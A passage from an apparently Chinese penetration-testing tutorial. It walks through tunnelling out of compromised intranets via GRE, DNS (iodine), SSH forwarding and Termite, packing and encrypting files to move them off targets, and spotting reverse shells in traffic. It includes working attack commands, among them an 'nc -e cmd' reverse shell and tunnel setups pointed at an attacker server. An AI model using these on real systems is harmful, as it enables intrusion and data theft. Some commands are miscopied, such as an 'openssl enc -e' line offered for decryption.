3)当需要下载Web服务器的文件,使用Termite工具的downfile参数,执行“downfile C:\1.txt /1.txt”命令,即可将C盘下的1.txt文件下载到Kali的根目录下,如图1-14所示。
图1-14下载到kali的根目录下
4)在根目录下使用ls命令显示下载的文件,下载成功如图1-15所示。
图1-15 查看根目录下文件
(二)本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用Termite进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
九.利用GRE协议进行隧道穿透
(一)利用GRE协议进行隧道穿透
GRE协议是一种应用较为广泛的路由封装协议,用于将一种网络层协议PDU封装于任一种网络层协议PDU中,就像将一个盒子放在另一个盒子中一样。GRE是在网络上建立直接点对点连接的一种方法,目的是简化单独网络之间的连接。该协议经常被用来构造GRE隧道来穿越各种三层网络。下面讲一下如何利用GRE协议进行隧道穿透。
实验环境如图1-1所示,假设在内网信息收集中发现存活主机,通过漏洞获取到其主机的控制权限,并探测到其开放GRE协议,我们可以通过搭建GRE隧道的方式来进行内网穿透,具体实验环境如表1-1所示。
图1-1 GRE协议实验拓扑图
表1-1 GRE协议隧道穿透实验环境表
主机类型 | 外网IP | 内网IP | GRE隧道IP |
---|---|---|---|
VPS服务器 | 47.94.168.41 | 192.168.0.128 | 192.168.5.1 |
Linux受控主机 | 123.56.14.177 | 172.16.0.1 | 192.168.5.2 |
1)首先我们需要对VPS服务器和受控主机分别执行modprobe ip_gre命令来加载ip_gre模块,执行完毕后,我们再执行lsmod | grep gre命令确认是否已加载GRE协议模块,实验操作命令如图1-2所示。
图1-2 加载ip_gre模块
2) 当上述ip_gre模块加载成功后,我们在VPS服务器中执行ip tunnel add tun1 mode gre remote 123.56.14.177 local 192.168.0.128命令来创建名为tun1的GRE隧道,之后通过执行ip link set tun1 up mtu 1400命令启动名为tun1的GRE隧道,此时已设定数据包最大的传输为1400字节,实验操作执行命令如图1-3所示。
图1-3 创建启动GRE隧道tun1
3)通过在VPS服务器中执行ip addr add 192.168.5.1 peer 192.168.5.2 dev tun1命令为VPS服务器创建配置双方互联IP地址,其中本端GRE隧道互联IP地址为192.168.5.1,对端GRE隧道互联IP地址为192.168.5.2,随后执行route add -net 172.16.0.0/18 dev tun1命令来创建一条到达Linux受控主机所属网段172.16.0.0/18的路由,最后通过执行echo 1 > /proc/sys/net/ipv4/ip_forward命令来开启路由转发功能,相关操作执行命令如图1-4所示。
图1-4 VPS侧GRE隧道配置操作执行命令
4)此时通过route -n命令来查看路由信息,如图1-5所示,可以到看到已配置的路由规则。
图1-5 VPS服务器侧GRE隧道路由信息
5)接下来我们执行类似操作,为Linux受控主机创建名为tun2的GRE隧道,之后通过执行ip link set tun2 up mtu 1400命令,启动名为tun2的GRE隧道,相关执行操作命令如图1-6所示。
图1-6 创建启动GRE隧道tun2
6) 同理,我们也需要在Linux受控主机侧执行ip addr add 192.168.5.2 peer 192.168.5.1 dev tun2命令来配置双方互联IP地址,其中本端GRE隧道互联IP地址为 192.168.5.2,对端GRE隧道互联IP地址为192.168.5.1,并执行route add -net 192.168.0.0/24 dev tun2命令来创建一条到达VPS攻击服务器所属网段192.168.0.0/24的路由,最后通过执行echo 1 > /proc/sys/net/ipv4/ip_forward命令来开启路由转发功能,相关操作执行命令如图1-7所示。
图1-7 Linux受控主机侧GRE隧道配置操作执行命令
7)通过在Linux受控主机中执行route -n命令来查看路由信息,如下图1-8所示,可以到看到已配置的路由规则。
图1-8 Linux受控主机侧GRE隧道路由信息
8)当完成以上配置后进行验证,在VPS服务器中对Linux受控主机的GRE隧道IP执行Ping操作,反过来在Gre2中进行相同验证操作。验证成功,证明GER隧道成功,如图1-9所示。
图1-9 GRE隧道连接测试成功
(二)本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从利用GRE协议进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
十.利用DNS协议进行隧道穿透
DNS隧道(DNS Tunneling)也是隐蔽隧道的一种方式,通过将其他协议封装在DNS协议中传输建立通信。大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS隧道提供了条件,可以利用它实现诸如远程控制、文件传输的操作。使用dns搭建隧道的工具也有很多,比如dnscat2、DNS2tcp、iodine等。由于iodine工具使用比较稳定,这里使用iodine进行演示,它可以通过一台dns服务器制作一个Ipv4通道,iodine分为客户端和服务端,Iodine不仅有强制密码措施,还支持多种DNS记录类型,而且支持16个并发连接,因此很多时候Iodine是DNS隧道的第一选择。
(一)利用DNS协议进行隧道穿透
假设在内网渗透中探测目标服务器,并且我们已经获取到目标服务器主机控制权限,探测DNS协议开放,可以尝试利用DNS隧道工具后续搭建隧道,这里以Iodine工具为案例进行演示,本次实验拓扑如图1-1所示。
图1-1 DNS协议实验拓扑图
1.环境配置
1)使用Iodine工具搭建隧道的前提是有一台服务器和域名,首先进行配置域名解析,为攻击者服务器域名配置两条解析,域名解析配置如图1-2所示,其中A记录类型是告诉dns服务器,域名ns1.xxx.net.cn是由攻击者服务器的公网IP解析,而NS记录类型是告诉dns服务器,域名dc.xxx.net.cn是由dns.ns1.xxx.net.cn解析。
图1-2域名配置
2)如果解析不成功会导致后续DNS隧道无法进行,接下来,我们使用ping命令检测当前环境配置,这里发现可以ping通ns1.xxx.net.cn,说明A记录配置正确,如图1-3所示。
图1-3 ping命令测试配置
3)在攻击者服务器执行tcpdump -n -i eth0 udp dst port 53命令监听本地UDP的53端口。在任意一台主机上执行nslookup dc.xxx.net.cn命令访问域名,如果攻击者服务器监听的端口有查询信息,证明NS记录设置成功,如图1-4所示。
图1-4域名解析配置测试
4)在攻击者服务器进行部署iodine工具,执行yum -y install iodine命令来进行安装,安装完毕后通过执行iodine -v查看版本,如图1-5所示。
图1-5 安装环境
5)下面启动iodine服务端,执行iodined -f -c -P root@Admin123. 192.168.10.1 dc.xxxx.net.cn -DD命令,配置生成虚拟网段,其中-f参数是在前台运行,-c参数禁止检查所有传入请求的客户端IP地址,-P参数指客户端和服务端之间用于验证身份的密码,可以自定义,-D参数指定调试级别,-DD指第二级,"D"的数量随级别增加,这里的IP 192.168.10.1为自定义的虚拟网段,下面实验会通过这个虚拟网段连接服务端,注意网段不要与已存在网段相同,否则会发生冲突连接失败。执行成功则如图1-6所示。
图1-6启动iodine服务端
6)服务端配置成功后会多出一个我们自定义的网卡段,它用来与客户端进行通讯。我们新建一个会话,使用ifconfig命令查看服务器,会发现多出一个虚拟网卡地址,地址为刚设置的地址,如图1-7所示,证明服务端配置成功。
图1-7 网卡配置信息
7)我们也可以通过iodine检查页面https://code.kryo.se/iodine/check-it/来检查配置是否正确,输入dc.xxx.net.cn检测,若结果如图1-8所示,则表示设置成功。
图1-8 通过iodine检查页面验证配置成功
2.Windows系统下进行DNS隧道穿透利用
1)下面我们来进行DNS隧道里,假设目标服务器是windows系统,可以使用iodine.exe工具,使用前需要TAP适配器,下载地址为https://swupdate.openvpn.org/community/releases/openvpn-install-2.4.8-I602-Win10.exe,下载后直接在目标服务器安装,如图1-9所示。
图1-9 安装TAP适配器
2)在目标服务器执行iodine.exe -f -r -P root@Admin123. dc.xxx.net.cn命令,如果出现提示Connection setup complete, transmitting data,就表示DNS隧道已经建立,如图1-10所示。
图1-10客户端连接服务端
3)此时目标服务器会多出一条虚拟网卡,这个网卡就是我们执行后建立的通讯网卡,查看其IP为192.168.10.2,与上述DNS自定义网卡一致,证明搭建隧道成功,如图1-11所示。
图1-11 网卡IP信息
3.Linux系统下进行DNS隧道穿透利用
假设目标服务器是Linux系统,我们执行操作同上述Windows操作一样,在目标服务器下载Iodine工具后,执行iodine -f -r -P root@Admin123. dc.xxx.net.cn命令,连接攻击者服务器,如图1-12所示。
图1-12连接Linux服务器
此时DNS隧道已经搭建成功,执行ifconfig命令后,得知IP是192.168.10.2,我们可以尝试用攻击者服务器进行对客户端192.168.10.2进行ssh连接,连接成功如图1-13所示。
图1-13服务端进行对客户端ssh连接
(二)本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网,通过本篇文章从内网穿透之利用DNS协议进行隧道穿透的方式,并且通过大量的案例来演示了多个实际常见的隧道场景,希望本篇内容对读者有所帮助。
十一.利用SSH协议进行隧道穿透
SSH(Secure Shell)协议是一种加密的网络传输协议,它可以在不安全的网络中提供安全的远程登录和文件传输服务。SSH协议使用加密技术来保护数据的机密性和完整性,使得网络传输数据的安全性得到了保障。除了提供安全的远程登录服务外,SSH协议还可以用于隧道穿透,即将一种网络协议的流量通过SSH连接传输,以绕过防火墙或其他网络限制。
(一)利用SSH协议进行隧道穿透
在实际环境中,绝大部分的Linux或Unix服务器和网络设备都支持SSH协议,内网中主机设备及边界防火墙都会允许SSH协议通过,我们通常会使用SSH命令来连接远程机器,但是SSH功能不止于此,它还可以用来做流量转发,将TCP端口的数据流量通过SSH进行转发,并且传输过程中数据是加密的,这也意味着可以利用SSH搭建隧道突破防火墙的限制,所以当面对其他协议方式无法利用时,可以尝试使用SSH进行穿透,本次实验环境如图1-1所示,实验环境表如表1-1所示。
图1-1 SSH协议实验拓
表1-1 SSH协议实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.2 |
Web服务器 | 192.168.0.3,192.168.52.2 |
靶机 | 192.168.52.3 |
假设攻击机与Web服务器彼此之间都可以进行直接通信,但是攻击机与靶机之间不能直接进行通信,我们可以通过建立SSH隧道转发的方式将攻击机连接上内部的靶机,在这里我们将会通过ssh的方式进行转发连接,ssh常用命令参数如表1-2所示。
表1-2 SSH常用命令参数
参数 | 说明 |
---|---|
-C | 压缩传输,提高传输速度 |
-f | 将SSH传输转入后台执行,不占用当前的 Shell |
-N | 建立静默连接(建立了连接,但是看不到具体会话) |
-g | 允许远程主机连接本地用于转发的端口 |
-L | 本地端口转发 |
-R | 远程端口转发 |
-D | 动态转发(SOCKS 代理) |
-P | 指定 SSH端口 |
1.SSH隧道-本地端口转发
在实验前需要满足的条件是确保目标服务器的22端口开放,同时还需要获取到对方的ssh账号密码,当满足上述条件后,通过攻击机连接Web服务器,因Web服务器可以与靶机通过192.168.52.0/24这个网段进行通信,通过-L参数指定靶机3389端口转发到攻击机的8888端口,在攻击机执行ssh -L 8888:192.168.52.3:3389 root@192.168.0.3 -p 22连接命令,执行中需要输入Web服务器的密码,成功连接后,在攻击机上使用ifconfig命令测试是否为Web服务器的ip地址,如图1-2所示,证明ssh隧道成功。
图1-2 ssh连接
当上述步骤执行后,使用rdesktop命令连接本地8888端口即可访问到靶机的3389端口的rdp服务。如图1-3所示。
图1-3 远程连接
2.SSH隧道-远程端口转发
使用ssh远程连接的方式和本地连接的方式有些类似,需要我们在Web服务器上使用ssh命令反向连接攻击机,获取到Web服务器权限后,在Web服务器执行ssh -R 8888:192.168.52.3:3389 root@192.168.0.2 -p 22命令,进行远程端口转发。其中-R参数表示远程连接,主要的作用是将靶机的3389端口转发到攻击机的8888端口上,执行完上述命令以后,在命令提示符窗口中输入攻击机的密码,即可成功连接到,在web服务器上使用ifconfig查看是否为攻击机IP,如图1-4 所示。
图1-4 测试连接
接下来在攻击机使用rdesktop命令连接本地8888端口,执行rdesktop 127.0.0.1:8888命令,连接成功如图1-5所示。
图1-5连接成功
3.SSH隧道-动态端口转发
1)ssh动态端口转发就是建立起一个ssh加密的SOCKS 4/5代理隧道,任何支持SOCKS 4/5协议的程序都可以通过它进行代理访问,在攻击机上执行ssh -D 8888 root@192.168.0.3命令建立SOCKS代理通道,这里需要输入Web服务器的密码,输入密码后,执行成功,如图1-6所示。
图1-6 测试连接
2)在攻击机中修改 proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 8888参数来完成proxychains代理配置,如图1-7所示。
图1-7 代理设置
3)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,通过所建立的socks协议隧道连接靶机,如图1-8所示。
图1-8 rdp连接
(二)本篇总结
随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网中,在本篇文章中介绍了如何利用SSH协议进行隧道穿透的方法,包括本地端口转发、远程端口转发和动态端口转发。其中,本地端口转发是将目标服务器的指定端口转发到攻击机的指定端口,远程端口转发是将攻击机的指定端口转发到目标服务器的指定端口,动态端口转发则是建立一个SSH加密的SOCKS 4/5代理隧道,任何支持SOCKS 4/5协议的程序都可以通过它进行代理访问。
十二.Windows文件传输技术详解
在“后渗透测试阶段”中,假设当我们获取到了服务器的权限后,此服务器中没有压缩工具,但又需要将一个文件传输至本地计算机中查看,此时我们会用到文件打包、文件传输等技术。简单来说“文件传输技术”就是在目标服务器中获取的信息传递出来的一系列技术。下面介绍一下常见的几种案例。
(一)Windows文件传输技巧详解
1.Makecab文件压缩命令
在内网渗透时,当没有rar、7z等压缩工具时候,拖取文件的时候为了防止流量过大,又必须把文件压缩,这时候可以使用Makecab工具,它是Windows自带的压缩文件工具,使用简单方便,不容易暴露,此时该工具是个不错的选择。
(1)单文件压缩和解压
在Windwos操作系统某个特定的场景中,当需要把1.txt文件压缩成1.zip进行传输,可利用Makecab工具去进行压缩(它支持压缩格式zip、rar、cab),执行命令Makecab 1.txt 1.rar,执行成功,压缩在当前目录下,如图1-1所示。
图1-1把1.txt压缩成1.rar
如果需要将解压缩,以上述所讲1.rar的文件为例,我们将其压缩包解压为2.txt,直接使用Makecab命令,执行解压命令expand 1.rar 2.txt即可解压缩到当前目录下,如图1-2示。
图1-2把1.rar解压成2.txt
(2)多个文件压缩和解压
1)假如需要压缩一个文件夹下的多个文件时,可以将待压缩的文件名放置到一个文件夹中,执行dir /b > file.txt命令,把要压缩的文件名写入一个txt。上述操作完成后,执行文件压缩命令makecab /f file.txt即可成功,但压缩多个文件的时,无法指定压缩后的格式,如图1-3所示。
图1-3多个文件压缩
2)执行压缩命令成功之后,目录下将生成一个disk1目录,还有两个文件setup.inf和setip.rpt文件,如图1-4所示。
图1-4压缩后的文件列表
3)进入disk1目录下面,发现这里只有一个1.cab文件,如图1-5所示。
图1-5进图disk1目录
4)将其解压,执行对应的解压命令expand 1.cab -f:* C:\Users\用户名/Desktop\新建文件夹\123,值得注意的是必须指定解压文件存放的目录,否则会报错,即C:\Users\用户名/Desktop\新建文件夹\123,如图1-6所示。
图1-6进入指定目录解压成功
注意:如果压缩的文件过大需要加上/d maxdisksize=1024000,设置压缩文件允许大小为10M,默认1424KB。
2.Rar文件解压缩工具
Rar.exe是Winrar安装目录下的rar.exe文件,当安装完Winrar后,在目录下一般路径为C:\Program Files\WinRAR,去复制该文件到指定Windows主机即可使用。Rar常见命令参数如表1-1所示。
表1-1 常用命令参数
常用命令参数 | 参数作用 |
---|---|
a | 添加文件到压缩文件中 |
d | 从压缩文件中删除文件 |
e | 解压文件到当前目录 |
u | 更新压缩文件中的文件,把不在压缩文件中的文件添加到里面 |
x | 带绝对路径解压 |
-r | 递归压缩 |
-r- | 不递归压缩 |
-m<n> | 设置压缩模式(按照压缩率)-m0:存储 -m1:最快 -m2:较快 -m3:标准 -m4:较好 -m5:最好 |
-v | 分卷打包(压缩大文件时使用) |
-x<f> | 排除指定文件 |
-y | 对所有问题回答yes |
-hp[p] | 加密数据和头 |
-v | 设置分卷大小 |
(1)单个文件压缩和解压
1)在windows系统中进入到rar文件所在目录即C:\Program Files\WinRAR,使用命令行工具打开,执行rar a -r -hptest -m3 file.tar C:\Users\Administrator\Desktop\file命令对C:\Users\Administrator\Desktop\目录下的file文件夹进行加密递归压缩,执行命令如图1-7所示。
2)压缩后的文件会保存在C:\Program Files\WinRAR路径下,其中a参数表示将文件添加到压缩文件中,-r参数表示递归压缩,-hp参数表示加密数据和头,-m参数表示设置压缩级别,file表示压缩后文件名,C:\......\Desktop\file表示将要进行文件压缩的路径。
图1-7递归压缩成功
3)解压缩文件也是需要同上面步骤一样,使用命令行工具打开rar.exe的文件所在地址,在目录下执行rar e ./file.tar -hptest命令,该命令会指定解压缩当前目录下的file.tar文件,解压密码为test。解压成功后会如图1-8所示。
图1-8解压成功
(2)忽略指定后缀文件压缩
假设在某些特定的场景中,由于目录中某些格式的文件过大,不需要该文件,进行压缩时需要忽略,可执行rar a -r -hptest -m3 -x*.txt file.tar C:\Users\Administrator\Desktop\file命令,该命令会在压缩文件时忽略目标文件夹下的所有txt格式文件,如图1-9所示。
图1-9压缩忽略txt格式文件
(3)分卷压缩和解压
1)首先进入rar的文件所在目录,使用命令行工具打开,假如想要通过分卷压缩file文件夹内部文件,可以执行“rar a -r -v1m -m3 file.tar C:\Users\Administrator\Desktop\file”命令,-v1m压缩设置分卷压缩的文件为1MB,可以看到生成了4个分卷,如图1-10所示
图1-10 分卷压缩
2)相反,如果我们想要解压缩分卷文件也很简单,只需要对当前目录下的分卷压缩的第一个文件,执行rar x ./file.tar.part01.rar ./file命令即可,虽然命令中只有file.tar.part01.rar文件,但它还是可以将这四个文件全部解压到当前目录下的file文件夹内,如图1-11所示。
图1-11分卷解压
(4)分卷压缩加解密
1)当我们使用Rar压缩工具对数据进行分卷加密压缩时,可以执行Rar.exe a -m5 -v1m test.rar test -ppassword命令,将一个名为test的文件夹分卷压缩加密成10个单个分卷大小为1MB,压缩级别为5级、压缩密码为password的分卷压缩文件。成功执行命令后如图1-12所示,其中a参数表示将文件添加到压缩文件中,-m参数表示设置压缩级别,-v参数表示设置分卷大小,-p参数为设置密码,test.rar表示分卷压缩加密后的压缩包名称,test表示将要添加到压缩文件中的文件名称。
图1-12 Rar分卷压缩加密
2)当需要对分卷加密压缩的文件进行解密解压时,我们只需对test.part01.rar这个加密压缩文件进行解密解压操作即可,如图1-13所示,我们通过执行rar x test.part01.rar -ppassword命令已完成了分卷解密解压操作。
图1-13 解密解压
3. 7z文件压缩工具
7z是一款压缩比很高的开源软件,支持Windows系统和linux系统版本,当下载并安装完成后,我们需要到安装目录将其命令行工具(7z.exe)及同目录下的7z.dll共同保存到一个文件夹。使用7z.exe进行命令行操作即可,7z常见命令参数如表1-2所示,下面以7z工具为案例进行演示使用方法。
(1)常见参数
表1-2 7z常见命令参数
常见参数 | 参数作用 |
---|---|
a | 添加压缩文件 |
x | 完整路径释放 |
-r | 递归压缩 |
-p | 指定密码 |
-o | 指定输出目录 |
-v{size} | 分卷压缩 |
(2)压缩文件
假设通过漏洞进入内网获取到权限后,要对其桌面下的test文件夹进行下载读取,考虑到文件存储较大的情况,可利用7z压缩工具的命令行进行压缩,将桌面的文件压缩到当前目录为test.7z的压缩文件,执行7z.exe a -r ./test.7z ./test命令即可压缩,如图1-14所示。
图1-14压缩成功
(3)解压文件
当需要将文件解压时,可以将上述生成的test.7z文件,解压并改名为test2执行命令7z.exe x ./test.7z -o./test2,如图1-15所示,此时查看当前目录下,已成功解压缩。
图1-15 解压缩成功
(4)分卷压缩加解密
1)当我们需要使用7z压缩工具对数据进行分卷加密压缩时,可以执行7z.exe a -r -v2m -ptest ./test.7z ./test命令将一个大小为26MB,名称为test的文件夹进行分卷压缩加密,执行成功后如图1-16所示。
在这条命令中,-a表示压缩文件,-r表示递归压缩,-v表示分卷压缩,-v参数后面指定了分卷大小,-p表示压缩密码,./test.7z表示分卷压缩加密后的文件名,./test表示将要分卷压缩加密的文件夹。
在次实验中我们通过7z命令参数将大小为26MB,名称为test的文件夹进行了分卷压缩,每个分卷设置大小为2MB,并指定了分卷压缩密码为test。
图1-16 成功执行分卷压缩加密
2)执行完相关分卷压缩命令后,如图1-17所示,可以查看到test文件已经被分卷压缩成了13个加密压缩包。
图1-17分卷加密压缩生成13个加密压缩包
3)当需要对分卷加密压缩的文件进行解密解压的时候,我们只需选定test.7z.001这个文件进行解密解压即可,如果我们想将上述的分卷加密压缩的文件解压到一个名为test2的文件夹中,我们即可在当前目录下执行7z.exe x -ptest ./test.7z.001 -o./test2命令来完成分卷解密解压操作,执行成功后如图1-18所示。
图1-18成功执行分卷解密解压
(二)本篇总结
本文介绍了在“后渗透测试阶段”中,当服务器中没有压缩工具时,如何利用Makecab、Rar和7z等文件传输技术将文件从目标服务器传输到本地计算机。Makecab工具支持压缩格式zip、rar、cab,使用简单方便,不易暴露。Rar.exe是Winrar安装目录下的rar.exe文件,复制该文件到指定Windows主机即可使用。7z是一款压缩比很高的开源软件,支持Windows和Linux系统版本。通过这些工具,可以实现文件压缩、解压缩、分卷压缩、分卷解压缩等功能。
十三.Linux文件传输技巧详解
在“后渗透测试阶段”中,假设当我们获取到了服务器的权限后,此服务器中没有压缩工具,但又需要将一个文件传输至本地计算机中查看,此时我们会用到文件打包、文件传输等技术。简单来说“文件传输技术”就是在目标服务器中获取的信息传递出来的一系列技术。下面将介绍一下具体Linux文件传输技巧详解。
(一)Linux文件传输技巧详解
Tar是linux系统中最常用的打包命令。文件打包和文件压缩是两个概念,文件打包是将一大堆文件或目录变成一个总的文件,文件压缩是将一个大文件通过压缩使其体积缩小,tar本身没有压缩功能,但可以调用压缩功能来实现相关功能,下述以tar命令为案例进行演示。
1.常用的参数表
tar的具体参数如表1-1 所示。
表1-1常用参数
常用参数 | 参数作用 |
---|---|
-A | 新增压缩文件到已存在的压缩 |
-b<> | 设置每笔记录的区块数目,每个区块大小为12Bytes |
-x | 从压缩的文件中提取文件 |
-B | 读取数据时重设区块大小 |
-c | 建立新的压缩文件 |
-d | 记录文件的差别 |
-f | 指定备份文件名或设备 |
-r | 添加文件到已经压缩的文件 |
-u | 解开压缩文件还原文件之前,先解除文件的连接 |
-t | 显示压缩文件的内容 |
-z | 通过gzip解压文件 |
-j | 通过bzip2解压文件 |
-Z | 通过compress解压文件 |
-v | 显示操作过程 |
-l | 文件系统边界设置 |
-k | 保留原有文件不覆盖 |
-m | 还原文件时,不变更文件更改时间 |
-W | 确认压缩文件的正确性 |
假设在linux系统中有名为file的目录下有file1和file2两个目录,file1文件夹中有1.txt、2.txt、3.php三个文件,file2文件夹中有4.txt、5.txt两个文件,下面我们以这个file目录下的文件来进行演示相关操作,如图1-1所示。
图1-1实验环境
2.单个文件夹打包
使用Tar命令压缩文件夹时,执行tar -cvf file.tar file1命令可以将文件夹先打包,如图3-268所示,其中file.tar是打包后的文件名,file1是待打包的文件夹。
图1-2单个文件夹打包
3.多个文件夹打包
打包多个文件夹只需要在后面添加相关文件夹地址即可,例如将file目录下的file1与file2一起打包为file1.tar,执行tar -cvf file3.tar file1 file2,成功打包如图1-3所示。
图1-3 多个文件夹打包
4.解包文件
解包文件与打包相比只需要将cvf变成xvf即可,例如将上文中的file1.tar解包,执行tar -xvf file1.tar,成功如图1-4所示。
图1-4解包文件
5. 压缩文件
前面我们已经说过如果想压缩一个文件夹我们必须先将其打包,但大多数情况我们是打包压缩一起执行,这里有两个参数供我们选择,-z参数是压缩或解压缩.tar.gz格式文件,而-j参数压缩或解压缩.tar.bz2格式文件。
1)这里我们配合打包命令,将file1文件夹压缩为file5.tar.gz执行命令tar -zcvf file5.tar.gz file1,如图1-5所示。
图1-5压缩文件 -j参数同上述原理一样
6. 解压解包
解压解包文件很简单,同上只需要将-zcvf换为-zxvf即可,比如要将上文生成的file.tar.gz解压解包,则使用命令tar -zxvf file5.tar.gz,如图1-6所示。
图1-6解压解包
7.分卷压缩加解密
如果我们想对单个文件夹进行分卷压缩加密,我们可以通过Openssl+Gizp+Tar命令的方式来实现分卷压缩加密,Openssl是一个可以实现“密钥证书管理”“对称加密“和“非对称加密”的一个安全套接字层密码库,其主要包含了密码算法、常见的密钥和证书封装管理功能及 SSL协议,我们可以通过使用其对称加密的方式来对文件进行加密,对称加密所使用的标准命令为openssl enc -ciphername,具体命令参数说明如表1-2所示。
表1-2命令参数
常用参数 | 参数作用 |
---|---|
-e | 指定一种加密算法,不指定将会使用默认加密算法 |
-a/-base64 | 使用-base64位编码格式 |
-salt | 自动插入一个随机数作为文件内容加密 |
-k | 指定密码(兼容以前版本) |
-in filename | 指定将要加密的文件路径 |
-out filename | 指定加密后的文件路径 |
1)若要对文件夹file1中的1.txt这个文件进行对称加密的话,可以执行openssl enc -e -des3 -a -salt -k password -in 1.txt -out 1.code命令进行加密,如图1-7所示,加密后我们通过more命令查看加密后的文件内容已为加密字符串。
图1-7对名为1.txt文件执行对称加密并查看加密后的内容
2)若要对加密后的1.code文件进行解密操作的话,我们可以执行openssl enc -e -des3 -a -salt -k password -in 1.txt -out 1.code来对已加密名为1.code的文件执行解密,如图1-8所示,解密后我们通过more命令即可看到解密后的内容。
图1-8对1.code文件进行解密并查看解密内容
3)与此同时,我们也可以对整个文件夹进行分卷压缩加密,在本案例演示中我们将通过tar命令压缩file文件夹下面的所有文件,并通过管道符重定向的方式将tar压缩执行的结果传递给openssl进行加密,经过openssl加密完成后再通过管道符重定向的方式传递给dd命令进行输出,如图1-9所示,我们首先执行tar -czPf - file/ |openssl enc -e -des3 -a -salt -k password | dd of=file.tar.gz.desc来完成整个分卷压缩加密操作,其中“tar -czPf - ”后面为实际将要进行加密的文件存放路径,“dd of= ”后面为要输出的文件名称,完成分卷压缩加密操作后,我们再通过head命令来去查看验证下我们分卷压缩加密的文件内容,如图1-10所示。
图1-9对名为file文件执行分卷压缩加密
图1-10通过Head命令查看验证分卷压缩加密文件内容
4)若要对分卷压缩加密的压缩包执行解密操作,我们需要先使用dd命令输入文件,并通过管道符重定向的方式传递给openssl,由openssl执行解密操作,openssl解密后再通过管道符重定向的方式传递给tar,由tar执行命令进行解压。通过执行dd if=file.tar.gz.desc |openssl enc -d -des3 -a -salt -d -k password |tar -zxPf -命令来对经过分卷压缩加密后名为file.tar.gz.desc的压缩包执行解密操作,如图1-11所示,解密完毕以后即可看到具体的文件内容。
图1-11 为file.tar.gz.desc执行解密输出结果
(二)本篇总结
本文介绍了Linux系统中最常用的打包命令Tar,以及其参数和功能。Tar本身没有压缩功能,但可以调用压缩功能来实现相关功能。文章还介绍了单个文件夹打包、多个文件夹打包、解包文件、压缩文件、解压解包、分卷压缩加解密等操作。分卷压缩加解密部分,通过Openssl+Gizp+Tar命令实现分卷压缩加密,Openssl是一个安全套接字层密码库,可以实现“密钥证书管理”“对称加密“和“非对称加密”。
十四.反弹流量分析与检测方法
这里以反弹shell为案例,讲解检测方法手段,假设在内网后渗透阶段,当攻击者获取到管理权限,为了进一步扩大攻击范围在进行横向渗透时,通常会使用到反弹shell的方法获取主机权限,针对反弹shell这种攻击方法,可以根据反弹shell的特征去识别检测,反弹shell传输的数据是以明文方式进行传输的,很容易使用流量分析检测到,对流量特征进行溯源分析检测其带入的攻击特征,即可复现到过程。
(一)反弹流量分析与检测方法
这里以反弹shell为案例,讲解检测方法手段,假设在内网后渗透阶段,当攻击者获取到管理权限,为了进一步扩大攻击范围在进行横向渗透时,通常会使用到反弹shell的方法获取主机权限,针对反弹shell这种攻击方法,可以根据反弹shell的特征去识别检测,反弹shell传输的数据是以明文方式进行传输的,很容易使用流量分析检测到,对流量特征进行溯源分析检测其带入的攻击特征,即可复现到过程。下面以NC工具为案例进行复现,以全局角度演示反弹shell检测方法,防御手段。如图1-1所示。
图1-1 反弹流量分析与检测方法
1.wireshark流量分析
1)准备两台主机,实验环境如图1-1所示,使用kali作为靶机,执行nc -lvp 8888命令开启本地监听,执行成功如图1-2所示。
图1-2 NC开启监听
2)此时在Windows10主机使用Wireshark抓包工具来抓取数据流量,并设置过滤器,执行ip.addr==192.168.0.28 and !icmp and !nbns过滤掉无关协议,如图1-3所示。
图1-3 Wireshark开启监听
3)在Windows10主机上进行连接,执行nc.exe -e cmd 192.168.0.28 8888命令然后反弹shell,执行成功,如图1-4所示。
图1-4 反弹shell执行成功
4)此时Wireshark流量分析软件也成功捕获数据包。可以看到数据包很简单,除去dns就只有tcp的三次握手,如图1-5所示。
image-20220818113501260
5)接下来我们在反弹的shell中执行命令whoami,同时wireshark软件也抓到了数据,从图1-6中可以看到执行whoami这个命令一共有4个过程。
image-20220818114022426
6)首先是监听机(192.168.0.58)向靶机发送一个带有ACK和PSH的数据包,数据段中带有我们输入的命令,如图1-7所示。
image-20220818114836805
7)然后靶机再向监听机回复一个ACK,告诉它已经收到了数据,如图1-8所示。
image-20220818115156707
8)接着靶机又向监听机发送一个带有PSH、ACK的数据包,里面携带了whoami的执行结果,如图1-9所示。
image-20220818115246633
9)最后监听机向靶机发送一个ACK,告诉靶机自己收到了数据,整个过程结束,如图1-10所示。
图1-10传输完成数据包
2.通过检测命令查看
1)如常见的bash反弹shell,我们可以通过netstat命令检测Bash进程启动事件,判断是否存在反弹shell,执行netstat -anop | grep ESTABLISHED等。这里是查看有无bash/sh连接到远端地址,如图1-11所示。
图1-11 查看远端地址
2)通过ps -ef,查看有无反弹shell的常见命令,如图1-12所示。
图1-12反弹shell的常见命令
(二)本篇总结
本文介绍了反弹流量分析与检测的方法,主要针对反弹shell攻击,通过流量分析检测其特征,包括明文传输、三次握手等。以NC工具为例,通过Wireshark流量分析软件捕获数据包,分析数据包特征,包括命令执行过程、数据包发送与接收等,希望对大家有帮助。
十五.利用ICMP协议进行隧道穿透
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。
(一)利用ICMP协议进行隧道穿透
